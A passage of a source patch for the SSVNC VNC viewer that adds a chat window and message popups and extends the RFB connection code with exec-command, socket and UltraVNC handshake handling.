-+ if (appData.termChat) {
-+ return;
-+ }
-+#if 0
-+ if (!appData.chatActive) {
-+ return;
-+ }
-+#endif
-+
-+ if (db < 0) {
-+ if (getenv("SSVNC_DEBUG_CHAT")) {
-+ db = 1;
-+ } else {
-+ db = 0;
-+ }
-+ }
-+
-+ XtSetArg(args[0], XtNstring, &str);
-+ XtGetValues(entry, args, 1);
-+
-+ if (db) fprintf(stderr, "CheckTextInput\n");
-+
-+ if (str == NULL || str[0] == '\0') {
-+ return;
-+ } else {
-+ char *q;
-+ len = strlen(str);
-+ if (db) fprintf(stderr, "CheckTextInput: len: %d '%s'\n", len, str);
-+ if (len <= 0) {
-+ return;
-+ }
-+ q = strrchr(str, '\n');
-+ if (q) {
-+ char *send, save[2];
-+ save[0] = *(q+1);
-+ *(q+1) = '\0';
-+ send = strdup(str);
-+ *(q+1) = save[0];
-+ if (send) {
-+ SendTextChat(send);
-+ printChat("Send: ", True);
-+ printChat(send, True);
-+ free(send);
-+ if (save[0] == '\0') {
-+ XtVaSetValues(entry, XtNtype, XawAsciiString, XtNstring, "", NULL);
-+ } else {
-+ char *leak = strdup(q+1);
-+ XtVaSetValues(entry, XtNtype, XawAsciiString, XtNstring, leak, NULL);
-+ if (strlen(leak) > 0) {
-+ XSync(dpy, False);
-+ XtVaSetValues(entry, XtNinsertPosition, strlen(leak), NULL);
-+ }
-+ }
-+ }
-+ }
-+ }
-+}
-+
-+void AppendChatInput0(char *in) {
-+ Arg args[10];
-+ int n;
-+ String str;
-+ int len;
-+ static char *s = NULL;
-+ static int slen = -1;
-+ XawTextPosition pos;
-+
-+ fprintf(stderr, "AppendChatInput: in= '%s'\n", in);
-+
-+ XtSetArg(args[0], XtNstring, &str);
-+ XtGetValues(text, args, 1);
-+ fprintf(stderr, "AppendChatInput: str='%s'\n", str);
-+
-+ len = strlen(str) + strlen(in);
-+
-+ if (slen <= len) {
-+ slen = 2 * (len + 10);
-+ if (s) free(s);
-+ s = (char *) malloc(slen+1);
-+ }
-+
-+ s[0] = '\0';
-+ strcat(s, str);
-+ strcat(s, in);
-+ fprintf(stderr, "AppendChatInput s= '%s'\n", s);
-+ pos = (XawTextPosition) (len-1);
-+ n = 0;
-+ XtSetArg(args[n], XtNtype, XawAsciiString); n++;
-+ XtSetArg(args[n], XtNstring, s); n++;
-+ XtSetArg(args[n], XtNdisplayPosition, pos); n++;
-+ XtSetArg(args[n], XtNinsertPosition, pos); n++;
-+ XtSetValues(text, args, n);
-+ fprintf(stderr, "AppendChatInput done\n");
-+}
-+
-+void AppendChatInput(char *in) {
-+ XawTextPosition beg, end;
-+ static XawTextPosition pos = 0;
-+ XawTextBlock txt;
-+
-+ if (appData.termChat) {
-+ return;
-+ }
-+
-+ XawTextSetInsertionPoint(text, pos);
-+ beg = XawTextGetInsertionPoint(text);
-+ end = beg;
-+#if 0
-+ fprintf(stderr, "AppendChatInput: pos=%d in= '%s'\n", beg, in);
-+#endif
-+
-+ txt.firstPos = 0;
-+ txt.length = strlen(in);
-+ txt.ptr = in;
-+ txt.format = FMT8BIT;
-+
-+ XawTextReplace(text, beg, end, &txt);
-+ XawTextSetInsertionPoint(text, beg + txt.length);
-+
-+ pos = XawTextGetInsertionPoint(text);
-+#if 0
-+ fprintf(stderr, "AppendChatInput done pos=%d\n", pos);
-+#endif
-+}
-+
-+#if 0
-+static char errorbuf[1] = {0};
-+#endif
-+
-+void CreateChat(void) {
-+
-+ Widget myform, dismiss;
-+ Dimension w = 400, h = 300;
-+
-+ chat = XtVaCreatePopupShell("chat", topLevelShellWidgetClass, toplevel, XtNmappedWhenManaged, False, NULL);
-+
-+ myform = XtVaCreateManagedWidget("myform", formWidgetClass, chat, NULL);
-+
-+ text = XtVaCreateManagedWidget("text", asciiTextWidgetClass, myform,
-+ XtNresize, XawtextResizeBoth, XtNresizable, True, XtNwrap, XawtextWrapWord,
-+ XtNscrollHorizontal, XawtextScrollNever, XtNscrollVertical, XawtextScrollAlways,
-+ XtNwidth, w, XtNheight, h, XtNdisplayCaret, False,
-+ XtNeditType, XawtextAppend, XtNtype, XawAsciiString,
-+ XtNuseStringInPlace, False, NULL);
-+
-+ entry = XtVaCreateManagedWidget("entry", asciiTextWidgetClass, myform,
-+ XtNresize, XawtextResizeWidth, XtNresizable, True, XtNwrap, XawtextWrapNever,
-+ XtNscrollHorizontal, XawtextScrollNever, XtNscrollVertical, XawtextScrollNever,
-+ XtNheight, 20, XtNwidth, 400, XtNfromVert, text, XtNeditType, XawtextEdit,
-+ XtNdisplayCaret, True, XtNeditType, XawtextEdit, NULL);
-+
-+ dismiss = XtVaCreateManagedWidget("dismiss", commandWidgetClass, myform, XtNlabel, "Close Chat", XtNfromVert, entry, NULL);
-+
-+ AppendChatInput("");
-+
-+ XtAddCallback(dismiss, XtNcallback, dismiss_proc, NULL);
-+
-+ XtRealizeWidget(chat);
-+
-+ XtSetKeyboardFocus(chat, entry);
-+}
-+
-+Widget msgwin, msgtext;
-+
-+void AppendMsg(char *in) {
-+ XawTextPosition beg, end;
-+ static XawTextPosition pos = 0;
-+ XawTextBlock txt;
-+
-+ XawTextSetInsertionPoint(msgtext, pos);
-+ beg = XawTextGetInsertionPoint(msgtext);
-+ end = beg;
-+
-+ txt.firstPos = 0;
-+ txt.length = strlen(in);
-+ txt.ptr = in;
-+ txt.format = FMT8BIT;
-+
-+ XawTextReplace(msgtext, beg, end, &txt);
-+ XawTextSetInsertionPoint(msgtext, beg + txt.length);
-+
-+ pos = XawTextGetInsertionPoint(msgtext);
-+}
-+
-+static int msg_visible = 0;
-+static int msg_NO_clicked = 0;
-+
-+void msg_dismiss_proc(Widget w, XtPointer client_data, XtPointer call_data) {
-+ XtPopdown(msgwin);
-+ msg_visible = 0;
-+ XSync(dpy, False);
-+ usleep(200 * 1000);
-+ if (w || client_data || call_data) {}
-+}
-+
-+void msg_NO_proc(Widget w, XtPointer client_data, XtPointer call_data) {
-+ XtPopdown(msgwin);
-+ msg_visible = 0;
-+ msg_NO_clicked = 1;
-+ XSync(dpy, False);
-+ usleep(200 * 1000);
-+ if (w || client_data || call_data) {}
-+}
-+
-+int CreateMsg(char *msg, int wait) {
-+
-+ Widget myform, dismiss, reject;
-+ char *p;
-+ int n, run, wmax = 0;
-+ int ret = 1;
-+ Dimension w, h;
-+
-+
-+ n = 0;
-+ run = 0;
-+ p = msg;
-+ while (*p != '\0') {
-+ if (*p == '\n') {
-+ run = 0;
-+ n++;
-+ }
-+ run++;
-+ if (run > wmax) wmax = run;
-+ p++;
-+ }
-+ if (wmax > 80) {
-+ if (wmax > 120) n++;
-+ if (wmax > 80) n++;
-+ wmax = 80;
-+ }
-+ h = (Dimension) (n+2) * 14;
-+ w = (Dimension) (wmax+10) * 8;
-+
-+ msgwin = XtVaCreatePopupShell("Message", topLevelShellWidgetClass, toplevel, XtNmappedWhenManaged, False, NULL);
-+
-+ myform = XtVaCreateManagedWidget("myform", formWidgetClass, msgwin, NULL);
-+
-+ msgtext = XtVaCreateManagedWidget("msgtext", asciiTextWidgetClass, myform,
-+ XtNresize, XawtextResizeBoth, XtNresizable, True, XtNwrap, XawtextWrapWord,
-+ XtNscrollHorizontal, XawtextScrollNever, XtNscrollVertical, XawtextScrollAlways,
-+ XtNwidth, w, XtNheight, h, XtNdisplayCaret, False,
-+ XtNeditType, XawtextAppend, XtNtype, XawAsciiString,
-+ XtNuseStringInPlace, False, NULL);
-+
-+ if (wait == 2) {
-+ msg_NO_clicked = 0;
-+
-+ dismiss = XtVaCreateManagedWidget("dismiss", commandWidgetClass, myform, XtNlabel, "Accept", XtNfromVert, msgtext, NULL);
-+ XtAddCallback(dismiss, XtNcallback, msg_dismiss_proc, NULL);
-+
-+ reject = XtVaCreateManagedWidget("reject", commandWidgetClass, myform, XtNlabel, "Reject", XtNfromVert, dismiss, NULL);
-+ XtAddCallback(reject, XtNcallback, msg_NO_proc, NULL);
-+ } else {
-+ dismiss = XtVaCreateManagedWidget("dismiss", commandWidgetClass, myform, XtNlabel, "OK", XtNfromVert, msgtext, NULL);
-+ XtAddCallback(dismiss, XtNcallback, msg_dismiss_proc, NULL);
-+
-+ }
-+
-+ AppendMsg("");
-+ AppendMsg(msg);
-+
-+ XtRealizeWidget(msgwin);
-+
-+ XtPopup(msgwin, XtGrabNone);
-+
-+ XSync(dpy, False);
-+ msg_visible = 1;
-+ while (wait && msg_visible) {
-+ if (0) fprintf(stderr, "mv: %d\n", msg_visible);
-+ XtAppProcessEvent(appContext, XtIMAll);
-+ }
-+ if (wait == 2) {
-+ if (msg_NO_clicked) {
-+ ret = 0;
-+ } else {
-+ ret = 1;
-+ }
-+ }
-+ return ret;
-+}
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/popup_ad vnc_unixsrc/vncviewer/popup_ad
---- vnc_unixsrc.orig/vncviewer/popup_ad 1969-12-31 19:00:00.000000000 -0500
-+++ vnc_unixsrc/vncviewer/popup_ad 2008-02-17 13:32:34.000000000 -0500
-@@ -0,0 +1,20 @@
-+#!/usr/bin/perl
-+
-+$ok = 0;
-+
-+open(A, "<argsresources.c") || die;
-+
-+while (<A>) {
-+ if (/popupButtonCount:/) {
-+ $on = 1;
-+ } elsif (/^\s*NULL/) {
-+ $on = 0;
-+ }
-+ next unless $on;
-+ chomp;
-+ last if /NULL/;
-+ $_ =~ s/^\s*"//;
-+ $_ =~ s/",//;
-+ $_ .= "\n" unless $_ =~ /\n/;
-+ print;
-+}
-diff -Naur -X ./exclude vnc_unixsrc.orig/vncviewer/rfbproto.c vnc_unixsrc/vncviewer/rfbproto.c
---- vnc_unixsrc.orig/vncviewer/rfbproto.c 2008-09-05 19:51:24.000000000 -0400
-+++ vnc_unixsrc/vncviewer/rfbproto.c 2010-04-17 22:34:38.000000000 -0400
-@@ -23,7 +23,10 @@
- * rfbproto.c - functions to deal with client side of RFB protocol.
- */
-
-+#include <sys/stat.h>
- #include <unistd.h>
-+#include <time.h>
-+#include <ctype.h>
- #include <errno.h>
- #include <pwd.h>
- #include <vncviewer.h>
-@@ -31,6 +34,9 @@
- #include <zlib.h>
- #include <jpeglib.h>
-
-+int server_major = 0, server_minor = 0;
-+int viewer_major = 0, viewer_minor = 0;
-+
- static void InitCapabilities(void);
- static Bool SetupTunneling(void);
- static int ReadSecurityType(void);
-@@ -57,6 +63,47 @@
- static Bool HandleTight16(int rx, int ry, int rw, int rh);
- static Bool HandleTight32(int rx, int ry, int rw, int rh);
-
-+/* runge add zrle */
-+static Bool HandleZRLE8(int rx, int ry, int rw, int rh);
-+static Bool HandleZRLE15(int rx, int ry, int rw, int rh);
-+static Bool HandleZRLE16(int rx, int ry, int rw, int rh);
-+static Bool HandleZRLE24(int rx, int ry, int rw, int rh);
-+static Bool HandleZRLE24Up(int rx, int ry, int rw, int rh);
-+static Bool HandleZRLE24Down(int rx, int ry, int rw, int rh);
-+static Bool HandleZRLE32(int rx, int ry, int rw, int rh);
-+
-+extern Bool HandleCursorPos(int x, int y);
-+extern void printChat(char *, Bool);
-+
-+typedef struct {
-+ unsigned long length;
-+} rfbZRLEHeader;
-+
-+#define sz_rfbZRLEHeader 4
-+
-+#define rfbZRLETileWidth 64
-+#define rfbZRLETileHeight 64
-+
-+#define DO_ZYWRLE 1
-+
-+#if DO_ZYWRLE
-+
-+#ifndef ZRLE_ONCE
-+#define ZRLE_ONCE
-+
-+static const int bitsPerPackedPixel[] = {
-+ 0, 1, 2, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
-+};
-+
-+int zywrle_level;
-+int zywrleBuf[rfbZRLETileWidth*rfbZRLETileHeight];
-+
-+#include "zrlepalettehelper.h"
-+static zrlePaletteHelper paletteHelper;
-+
-+#endif /* ZRLE_ONCE */
-+#endif /* DO_ZYWRLE */
-+
- static void ReadConnFailedReason(void);
- static long ReadCompactLen (void);
-
-@@ -67,6 +114,25 @@
- static void JpegSetSrcManager(j_decompress_ptr cinfo, CARD8 *compressedData,
- int compressedLen);
-
-+extern void deskey(unsigned char *, int);
-+extern void des(unsigned char *, unsigned char *);
-+
-+extern int currentMsg;
-+extern double scale_factor_x;
-+extern double scale_factor_y;
-+
-+extern int skip_maybe_sync;
-+
-+int sent_FBU = 0;
-+int skip_XtUpdate = 0;
-+int skip_XtUpdateAll = 0;
-+
-+static double dt_out = 0.0;
-+static double dt_out_sc = 0.0;
-+double latency = 0.0;
-+double connect_time = 0.0;
-+
-+void raiseme(int force);
-
- int rfbsock;
- char *desktopName;
-@@ -75,6 +141,14 @@
- char *serverCutText = NULL;
- Bool newServerCutText = False;
-
-+/* ultravnc mslogon */
-+#define rfbUltraVncMsLogon 0xfffffffa
-+static Bool AuthUltraVncMsLogon(void);
-+extern void UvncEncryptPasswd_MSLOGON(unsigned char *encryptedPasswd, char *passwd);
-+extern void UvncEncryptBytes2(unsigned char *where, int length, unsigned char *key);
-+extern void UvncDecryptBytes2(unsigned char *where, int length, unsigned char *key);
-+extern unsigned int urandom(void);
-+
- int endianTest = 1;
-
- static Bool tightVncProtocol = False;
-@@ -177,8 +251,26 @@
- sig_rfbEncodingPointerPos, "Pointer position update");
- CapsAdd(encodingCaps, rfbEncodingLastRect, rfbTightVncVendor,
- sig_rfbEncodingLastRect, "LastRect protocol extension");
-+
-+ CapsAdd(encodingCaps, rfbEncodingNewFBSize, rfbTightVncVendor,
-+ sig_rfbEncodingNewFBSize, "New FB size protocol extension");
-+
-+#ifdef TURBOVNC
-+ CapsAdd(encodingCaps, rfbJpegQualityLevel1, rfbTurboVncVendor,
-+ sig_rfbEncodingNewFBSize, "TurboJPEG quality level");
-+ CapsAdd(encodingCaps, rfbJpegSubsamp1X, rfbTurboVncVendor,
-+ sig_rfbEncodingNewFBSize, "TurboJPEG subsampling level");
-+#endif
- }
-
-+static char msgbuf[10000];
-+
-+static void wmsg(char *msg, int wait) {
-+ fprintf(stderr, "%s", msg);
-+ if (!use_tty() && !getenv("SSVNC_NO_MESSAGE_POPUP")) {
-+ CreateMsg(msg, wait);
-+ }
-+}
-
- /*
- * ConnectToRFBServer.
-@@ -187,24 +279,179 @@
- Bool
- ConnectToRFBServer(const char *hostname, int port)
- {
-- unsigned int host;
--
-- if (!StringToIPAddr(hostname, &host)) {
-- fprintf(stderr,"Couldn't convert '%s' to host address\n", hostname);
-- return False;
-- }
-+ char *q, *cmd = NULL;
-+ Bool setnb;
-+ struct stat sb;
-+
-+ if (strstr(hostname, "exec=") == hostname) {
-+ cmd = strdup(hostname);
-+ q = strchr(cmd, '=');
-+ *q = ' ';
-+ if (getenv("SSVNC_BASEDIR")) {
-+ char *base = getenv("SSVNC_BASEDIR");
-+ char *newcmd = (char *)malloc(strlen(base) + strlen(cmd) + 1000);
-+ sprintf(newcmd, "%s/unwrap.so", base);
-+ if (stat(newcmd, &sb) == 0) {
-+#if (defined(__MACH__) && defined(__APPLE__))
-+ sprintf(newcmd, "DYLD_FORCE_FLAT_NAMESPACE=1; export DYLD_FORCE_FLAT_NAMESPACE; DYLD_INSERT_LIBRARIES='%s/unwrap.so'; export DYLD_INSERT_LIBRARIES; %s", base, cmd);
-+#else
-+ sprintf(newcmd, "LD_PRELOAD='%s/unwrap.so'; export LD_PRELOAD; %s", base, cmd);
-+#endif
-+ cmd = newcmd;
-+ }
-+ }
-+ }
-
-- rfbsock = ConnectToTcpAddr(host, port);
-+ if (cmd != NULL) {
-+ int sfd[2];
-+ char *q, *cmd2 = strdup(cmd);
-+ pid_t pid;
-+
-+ q = strstr(cmd2, "pw=");
-+ if (q && !getenv("SSVNC_SHOW_ULTRAVNC_DSM_PASSWORD")) {
-+ q += strlen("pw=");
-+ while (*q != '\0' && !isspace(*q)) {
-+ *q = '*';
-+ q++;
-+ }
-+ }
-+
-+ fprintf(stderr, "exec-cmd: %s\n\n", cmd2);
-+ free(cmd2);
-+
-+ if (! SocketPair(sfd)) {
-+ return False;
-+ }
-+ if (0) {
-+ fprintf(stderr, "sfd: %d %d\n", sfd[0], sfd[1]);
-+ fflush(stderr);
-+ }
-+
-+ pid = fork();
-+ if (pid == -1) {
-+ perror("fork");
-+ return False;
-+ }
-+ if (pid == 0) {
-+ char *args[4];
-+ int d;
-+ args[0] = "/bin/sh";
-+ args[1] = "-c";
-+ args[2] = cmd;
-+ args[3] = NULL;
-+
-+ close(sfd[1]);
-+ dup2(sfd[0], 0);
-+ dup2(sfd[0], 1);
-+ for (d=3; d < 256; d++) {
-+ if (d != sfd[0]) {
-+ close(d);
-+ }
-+ }
-+ execvp(args[0], args);
-+ perror("exec");
-+ exit(1);
-+ } else {
-+ close(sfd[0]);
-+ rfbsock = sfd[1];
-+ }
-+ if (rfbsock < 0) {
-+ sprintf(msgbuf,"Unable to connect to exec'd command: %s\n", cmd);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+ } else if (strstr(hostname, "fd=") == hostname) {
-+ rfbsock = atoi(hostname + strlen("fd="));
-+ } else if (strchr(hostname, '/') && stat(hostname, &sb) == 0) {
-+ /* assume unix domain socket */
-+ char *thost = strdup(hostname);
-+
-+ rfbsock = ConnectToUnixSocket(thost);
-+ free(thost);
-+
-+ if (rfbsock < 0) {
-+ sprintf(msgbuf,"Unable to connect to VNC server (unix-domain socket: %s)\n", hostname);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+
-+ } else {
-+ rfbsock = ConnectToTcpAddr(hostname, port);
-+
-+ if (rfbsock < 0 && !appData.noipv4) {
-+ char *q, *hosttmp;
-+ if (hostname[0] == '[') {
-+ hosttmp = strdup(hostname+1);
-+ } else {
-+ hosttmp = strdup(hostname);
-+ }
-+ q = strrchr(hosttmp, ']');
-+ if (q) *q = '\0';
-+ if (strstr(hosttmp, "::ffff:") == hosttmp || strstr(hosttmp, "::FFFF:") == hosttmp) {
-+ char *host = hosttmp + strlen("::ffff:");
-+ if (dotted_ip(host, 0)) {
-+ fprintf(stderr, "ConnectToTcpAddr[ipv4]: re-trying connection using '%s'\n", host);
-+ rfbsock = ConnectToTcpAddr(host, port);
-+ }
-+ }
-+ free(hosttmp);
-+ }
-+
-+ if (rfbsock < 0) {
-+ sprintf(msgbuf,"Unable to connect to VNC server (%s:%d)\n", hostname, port);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+ }
-
-- if (rfbsock < 0) {
-- fprintf(stderr,"Unable to connect to VNC server\n");
-- return False;
-- }
-+ setnb = SetNonBlocking(rfbsock);
-+ return setnb;
-+}
-
-- return SetNonBlocking(rfbsock);
-+static void printFailureReason(void) {
-+ CARD32 reasonLen;
-+ ReadFromRFBServer((char *)&reasonLen, 4);
-+ reasonLen = Swap32IfLE(reasonLen);
-+ if (reasonLen < 4096) {
-+ char *reason = (char *) malloc(reasonLen+1);
-+ memset(reason, 0, reasonLen+1);
-+ ReadFromRFBServer(reason, reasonLen);
-+ sprintf(msgbuf, "Reason: %s\n", reason);
-+ wmsg(msgbuf, 1);
-+ free(reason);
-+ }
- }
-
-+static char *pr_sec_type(int type) {
-+ char *str = "unknown";
-+ if (type == rfbSecTypeInvalid) str = "rfbSecTypeInvalid";
-+ if (type == rfbSecTypeNone) str = "rfbSecTypeNone";
-+ if (type == rfbSecTypeVncAuth) str = "rfbSecTypeVncAuth";
-+ if (type == rfbSecTypeRA2) str = "rfbSecTypeRA2";
-+ if (type == rfbSecTypeRA2ne) str = "rfbSecTypeRA2ne";
-+ if (type == rfbSecTypeTight) str = "rfbSecTypeTight";
-+ if (type == rfbSecTypeUltra) str = "rfbSecTypeUltra";
-+
-+ if (type == rfbSecTypeAnonTls) str = "rfbSecTypeAnonTls";
-+ if (type == rfbSecTypeVencrypt) str = "rfbSecTypeVencrypt";
-+
-+ if (type == (int) rfbUltraVncMsLogon) str = "rfbUltraVncMsLogon";
-+ return str;
-+}
-+
-+static char *pr_sec_subtype(int type) {
-+ char *str = "unknown";
-+ if (type == rfbVencryptPlain) str = "rfbVencryptPlain";
-+ if (type == rfbVencryptTlsNone) str = "rfbVencryptTlsNone";
-+ if (type == rfbVencryptTlsVnc) str = "rfbVencryptTlsVnc";
-+ if (type == rfbVencryptTlsPlain) str = "rfbVencryptTlsPlain";
-+ if (type == rfbVencryptX509None) str = "rfbVencryptX509None";
-+ if (type == rfbVencryptX509Vnc) str = "rfbVencryptX509Vnc";
-+ if (type == rfbVencryptX509Plain) str = "rfbVencryptX509Plain";
-+ return str;
-+}
-
-+extern void ProcessXtEvents(void);
- /*
- * InitialiseRFBConnection.
- */
-@@ -212,211 +459,654 @@
- Bool
- InitialiseRFBConnection(void)
- {
-- rfbProtocolVersionMsg pv;
-- int server_major, server_minor;
-- int viewer_major, viewer_minor;
-- rfbClientInitMsg ci;
-- int secType;
-+ rfbProtocolVersionMsg pv;
-+ rfbClientInitMsg ci;
-+ int i, secType, anon_dh = 0, accept_uvnc = 0;
-+ FILE *pd;
-+ char *hsfile = NULL;
-+ char *hsparam[128];
-+ char *envsetsec = getenv("SSVNC_SET_SECURITY_TYPE");
-+ char line[128];
-+ double dt = 0.0;
-
-- /* if the connection is immediately closed, don't report anything, so
-- that pmw's monitor can make test connections */
-+ /* if the connection is immediately closed, don't report anything, so
-+ that pmw's monitor can make test connections */
-
-- if (listenSpecified)
-- errorMessageOnReadFailure = False;
-+ if (listenSpecified) {
-+ errorMessageOnReadFailure = False;
-+ }
-
-- if (!ReadFromRFBServer(pv, sz_rfbProtocolVersionMsg))
-- return False;
-+ for (i=0; i < 128; i++) {
-+ hsparam[i] = NULL;
-+ }
-
-- errorMessageOnReadFailure = True;
-+ skip_XtUpdateAll = 1;
-+ ProcessXtEvents();
-+ skip_XtUpdateAll = 0;
-+
-+ if (getenv("SSVNC_PREDIGESTED_HANDSHAKE")) {
-+ double start = dnow();
-+ hsfile = getenv("SSVNC_PREDIGESTED_HANDSHAKE");
-+ while (dnow() < start + 10.0) {
-+ int done = 0;
-+ usleep(100 * 1000);
-+ if ((pd = fopen(hsfile, "r")) != NULL) {
-+ while (fgets(line, 128, pd) != NULL) {
-+ if (strstr(line, "done") == line) {
-+ done = 1;
-+ usleep(100 * 1000);
-+ break;
-+ }
-+ }
-+ fclose(pd);
-+ }
-+ if (done) {
-+ break;
-+ }
-+ }
-+ if ((pd = fopen(hsfile, "r")) != NULL) {
-+ i = 0;
-+ while (fgets(line, 128, pd) != NULL) {
-+ hsparam[i] = strdup(line);
-+ fprintf(stderr, "%s", line);
-+ if (i++ > 100) break;
-+ }
-+ fclose(pd);
-+ }
-+ unlink(hsfile);
-+ }
-
-- pv[sz_rfbProtocolVersionMsg] = 0;
-+ if (getenv("SSVNC_SKIP_RFB_PROTOCOL_VERSION")) {
-+ viewer_major = 3;
-+ viewer_minor = 8;
-+ goto end_of_proto_msg;
-+ } else if (hsfile) {
-+ int k = 0;
-+ while (hsparam[k] != NULL) {
-+ char *str = hsparam[k++];
-+ if (strstr(str, "server=") == str) {
-+ sprintf(pv, "%s", str + strlen("server="));
-+ goto readed_pv;
-+ }
-+ }
-+ }
-
-- if (sscanf(pv, rfbProtocolVersionFormat,
-- &server_major, &server_minor) != 2) {
-- fprintf(stderr,"Not a valid VNC server\n");
-- return False;
-- }
-+ dt = dnow();
-+ if (!ReadFromRFBServer(pv, sz_rfbProtocolVersionMsg)) {
-+ return False;
-+ }
-+ if (getenv("PRINT_DELAY1")) fprintf(stderr, "delay1: %.3f ms\n", (dnow() - dt) * 1000);
-+ dt = 0.0;
-
-- viewer_major = rfbProtocolMajorVersion;
-- if (server_major == 3 && server_minor >= rfbProtocolMinorVersion) {
-- /* the server supports at least the standard protocol 3.7 */
-- viewer_minor = rfbProtocolMinorVersion;
-- } else {
-- /* any other server version, request the standard 3.3 */
-- viewer_minor = rfbProtocolFallbackMinorVersion;
-- }
-+ readed_pv:
-
-- fprintf(stderr, "Connected to RFB server, using protocol version %d.%d\n",
-- viewer_major, viewer_minor);
-+ errorMessageOnReadFailure = True;
-
-- sprintf(pv, rfbProtocolVersionFormat, viewer_major, viewer_minor);
-+ pv[sz_rfbProtocolVersionMsg] = 0;
-
-- if (!WriteExact(rfbsock, pv, sz_rfbProtocolVersionMsg))
-- return False;
-+ if (strstr(pv, "ID:") == pv) {
-+ ;
-+ } else if (sscanf(pv, rfbProtocolVersionFormat, &server_major, &server_minor) != 2) {
-+ if (strstr(pv, "test") == pv) {
-+ /* now some hacks for ultraVNC SC III (SSL) ... testA, etc */
-+ int i;
-+ char *se = NULL;
-+
-+ fprintf(stderr,"Trying UltraVNC Single Click III workaround: %s\n", pv);
-+ for (i=0; i < 7 ; i++) {
-+ pv[i] = pv[i+5];
-+ }
-+ if (!ReadFromRFBServer(pv+7, 5)) {
-+ return False;
-+ }
-+
-+ se = getenv("STUNNEL_EXTRA_OPTS");
-+ if (se == NULL) {
-+ se = getenv("STUNNEL_EXTRA_OPTS_USER");
-+ }
-+ if (se != NULL) {
-+ if (strstr(se, "options")) {
-+ if (strstr(se, "ALL") || strstr(se, "DONT_INSERT_EMPTY_FRAGMENTS")) {
-+ ; /* good */
-+ } else {
-+ se = NULL;
-+ }
-+ } else {
-+ se = NULL;
-+ }
-+ }
-+ if (se == NULL) {
-+ msgbuf[0] = '\0';
-+ strcat(msgbuf, "\n");
-+ strcat(msgbuf, "***************************************************************\n");
-+ strcat(msgbuf, "To work around UltraVNC SC III SSL dropping after a few minutes\n");
-+ strcat(msgbuf, "you may need to set STUNNEL_EXTRA_OPTS_USER='options = ALL'.\n");
-+ strcat(msgbuf, "***************************************************************\n");
-+ strcat(msgbuf, "\n");
-+ wmsg(msgbuf, 0);
-+ }
-+ if (strstr(pv, "ID:") == pv) {
-+ goto check_ID_string;
-+ }
-+ if (sscanf(pv, rfbProtocolVersionFormat, &server_major, &server_minor) == 2) {
-+ goto ultra_vnc_nonsense;
-+ }
-+ }
-+ sprintf(msgbuf, "Not a valid VNC server: '%s'\n", pv);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-
-- /* Read or select the security type. */
-- if (viewer_minor == rfbProtocolMinorVersion) {
-- secType = SelectSecurityType();
-- } else {
-- secType = ReadSecurityType();
-- }
-- if (secType == rfbSecTypeInvalid)
-- return False;
-+ check_ID_string:
-+ if (strstr(pv, "ID:") == pv) {
-+ char tmp[256];
-+ fprintf(stderr, "UltraVNC Repeater string detected: %s\n", pv);
-+ fprintf(stderr, "Pretending to be UltraVNC repeater: reading 250 bytes...\n\n");
-+ if (!ReadFromRFBServer(tmp, 250 - 12)) {
-+ return False;
-+ }
-+ if (!ReadFromRFBServer(pv, 12)) {
-+ return False;
-+ }
-+ if (sscanf(pv, rfbProtocolVersionFormat, &server_major, &server_minor) != 2) {
-+ sprintf(msgbuf,"Not a valid VNC server: '%s'\n", pv);
-+ wmsg(msgbuf, 1);
-+ return False;
-+ }
-+ }
-
-- switch (secType) {
-- case rfbSecTypeNone:
-- fprintf(stderr, "No authentication needed\n");
-- break;
-- case rfbSecTypeVncAuth:
-- if (!AuthenticateVNC())
-- return False;
-- break;
-- case rfbSecTypeTight:
-- tightVncProtocol = True;
-- InitCapabilities();
-- if (!SetupTunneling())
-- return False;
-- if (!PerformAuthenticationTight())
-- return False;
-- break;
-- default: /* should never happen */
-- fprintf(stderr, "Internal error: Invalid security type\n");
-- return False;
-- }
-+ ultra_vnc_nonsense:
-+ fprintf(stderr,"\nProto: %s\n", pv);
-
-- ci.shared = (appData.shareDesktop ? 1 : 0);
-+ viewer_major = 3;
-
-- if (!WriteExact(rfbsock, (char *)&ci, sz_rfbClientInitMsg))
-- return False;
-+ if (appData.rfbVersion != NULL && sscanf(appData.rfbVersion, "%d.%d", &viewer_major, &viewer_minor) == 2) {
-+ fprintf(stderr,"Setting RFB version to %d.%d from -rfbversion.\n\n", viewer_major, viewer_minor);
-
-- if (!ReadFromRFBServer((char *)&si, sz_rfbServerInitMsg))
-- return False;
-+ } else if (getenv("SSVNC_RFB_VERSION") != NULL && sscanf(getenv("SSVNC_RFB_VERSION"), "%d.%d", &viewer_major, &viewer_minor) == 2) {
-+ fprintf(stderr,"Setting RFB version to %d.%d from SSVNC_RFB_VERSION.\n\n", viewer_major, viewer_minor);
-+
-+ } else if (server_major > 3) {
-+ viewer_minor = 8;
-+ } else if (server_major == 3 && (server_minor == 14 || server_minor == 16)) {
-+ /* hack for UltraVNC Single Click. They misuse rfb proto version */
-+ fprintf(stderr,"Setting RFB version to 3.3 for UltraVNC Single Click.\n\n");
-+ viewer_minor = 3;
-+
-+ } else if (server_major == 3 && server_minor >= 8) {
-+ /* the server supports at least the standard protocol 3.8 */
-+ viewer_minor = 8;
-+
-+ } else if (server_major == 3 && server_minor == 7) {
-+ /* the server supports at least the standard protocol 3.7 */
-+ viewer_minor = 7;
-+
-+ } else {
-+ /* any other server version, request the standard 3.3 */
-+ viewer_minor = 3;
-+ }
-+ /* n.b. Apple Remote Desktop uses 003.889, but we should be OK with 3.8 */
-
-- si.framebufferWidth = Swap16IfLE(si.framebufferWidth);
-- si.framebufferHeight = Swap16IfLE(si.framebufferHeight);
-- si.format.redMax = Swap16IfLE(si.format.redMax);
-- si.format.greenMax = Swap16IfLE(si.format.greenMax);
-- si.format.blueMax = Swap16IfLE(si.format.blueMax);
-- si.nameLength = Swap32IfLE(si.nameLength);
--
-- /* FIXME: Check arguments to malloc() calls. */
-- desktopName = malloc(si.nameLength + 1);
-- if (!desktopName) {
-- fprintf(stderr, "Error allocating memory for desktop name, %lu bytes\n",
-- (unsigned long)si.nameLength);
-- return False;
-- }
-+ if (appData.msLogon) {
-+ if (server_minor == 4) {
-+ fprintf(stderr,"Setting RFB version to 3.4 for UltraVNC MS Logon.\n\n");
-+ viewer_minor = 4;
-+ }
-+ }
